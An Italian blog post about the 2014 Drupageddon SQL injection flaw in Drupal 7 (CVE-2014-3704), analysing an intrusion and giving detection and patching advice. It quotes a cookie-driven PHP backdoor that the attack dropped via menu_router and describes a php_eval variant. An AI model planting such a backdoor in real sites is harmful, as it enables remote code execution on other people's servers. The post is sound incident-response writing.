Grave vulnerabilità Drupal (Drupageddon) SA-CORE-2014-05

Drupageddon

Ieri è stato reso pubblico un grave problema di sicurezza per il CMS Drupal 7 per il quale stanno già girando dei Proof of Concept ed anche degli script che sfruttano tale vulnerabilità.

La nuova vulnerabilità di Drupal (DRUPAL-SA-CORE-2014-05, CVE-2014-3704) chiamata anche con gli hashtag #drupageddon e #drupalsa05, si può sfruttare in ogni installazione Drupal 7 precedente alla versione 7.32 o nelle installazioni non opportunamente corrette con la semplice patch già disponibile online.

Attraverso la nuova vulnerabilità di Drupal è possibile accedere direttamente al database ed eseguire codice PHP arbitrario.

Il bug di sicurezza è gravissimo in quanto può essere sfruttato da remoto in maniera completamente anonima. Basta costruire una richiesta HTTP ad hoc contenente praticamente una SQL injection.

Questa mattina, mentre aggiornavo moltissimi siti sviluppati con Drupal 7, ho identificato un sito che era già stato preso di mira ed ho analizzato un esempio di possibile attacco tra quelli in corso durante queste ultime ore.

In questo specifico caso il bug è stato usato per inserire all’interno del database un nuovo “menu_router”, ovvero un indirizzo a cui Drupal risponde chiamando una funzione.

Solitamente Drupal utilizza questo meccanismo per generare le pagine, mentre l’attacco in questione ha inserito una funzione che a sua volta genera un file php contenente uno script che recupera dei cookie (probabilmente contenente dei nuovi comandi) e li esegue.

Il comando inserito nel database e che risponde al nuovo percorso virtuale è file_put_contents().

Come parametro è stata impostata una stringa che, convertita in testo leggibile, contiene il nome del file da scrivere, in questo caso /modules/field_ui/lqns.php, ed il contenuto del file:

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){
$opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]);
$opt("/292/e",$au,292); } phpinfo();"

Ho provato a cercare in rete se c’era qualche riferimento a proposito, ma non ho trovato ancora nulla, evidentemente è troppo presto.

EDIT 16/10/2014 ore 19:30: Anche Josh Koenig, uno sviluppatore Drupal, ha rilevato questo stesso comportamento ed ha pubblicato una stringa analoga che, nel suo caso, scrive un file in un diverso percorso: /modules/syslog/rphb.php.

Arrivato a questo punto mi sono dovuto fermare con l’analisi perché non ho la possibilità di approfondire ulteriormente il contenuto dei cookie e scoprire che genere di comandi sono eseguiti in quanto non vengono salvati nei log.

EDIT 17/10/2014 ore 9:00: È stato reso pubblico un altro sistema per ottenere lo stesso risultato in maniera più “nascosta”. Al posto di creare un file ed agganciarlo ad un path virtuale, metodo facilmente rilevabile analizzando i file del CMS per identificare file modificati o nuovi file, è possibile sovrascrivere un percorso di sistema di Drupal, ad esempio /user ed impostare l’access_callback alla funzione php_eval() che eseguirà il codice trasmesso tramite una POST.

Questo problema mi preoccupa moltissimo perché nel database potrebbero essere nascoste altre insidie e non sarà facile rilevarle.

Come scoprire se il sito è stato bersaglio di un attacco?

Per prima cosa, dopo aver applicato manualmente la patch o aggiornato a Drupal 7.32, bisogna verificare che non siano stati creati nuovi account utente e che gli account esistenti non siano stati compromessi. Se si ha qualche sospetto conviene aggiornare le password e verificare le impostazioni delle email abbinate agli account di sistema. Al momento non sono noti problemi di questo genere, ma ciò non è una buona scusa per sentirsi al sicuro.

Successivamente andrebbero verificati tutti i file del CMS controllandone l’integrità. Se si usa “git” per il versioning/deploying del sito si può già effettuare un primo rapido controllo.

Altrimenti si possono verificare i checksum dei file di Drupal core e dei moduli contrib confrontandoli con quelli ufficiali. Mentre, per quanto riguarda moduli, e temi per Drupal o altri file personalizzati potrebbe essere necessario un controllo manuale.

Si potrebbe cominciare identificando i file creati negli ultimi N giorni usando il comando find:

find -ctime -N

E quelli modificati negli ultimi N giorni con il parametro mtime:

find -mtime -N

Andranno quindi analizzati i log del webserver per rilevare accessi ad indirizzi non esistenti ma che non ritornano un errore 40x.

Va anche controllato il contenuto del database, ad esempio verificando la tabella users e la tabella menu_router (vedi gli esempi descritti).

Aggiornare o applicare la patch al più presto!

Infine consiglio a tutti coloro che possiedono siti web sviluppati con Drupal 7 di aggiornarli entro breve e procedere con una analisi del sistema per verificare che non sia già stato compromesso.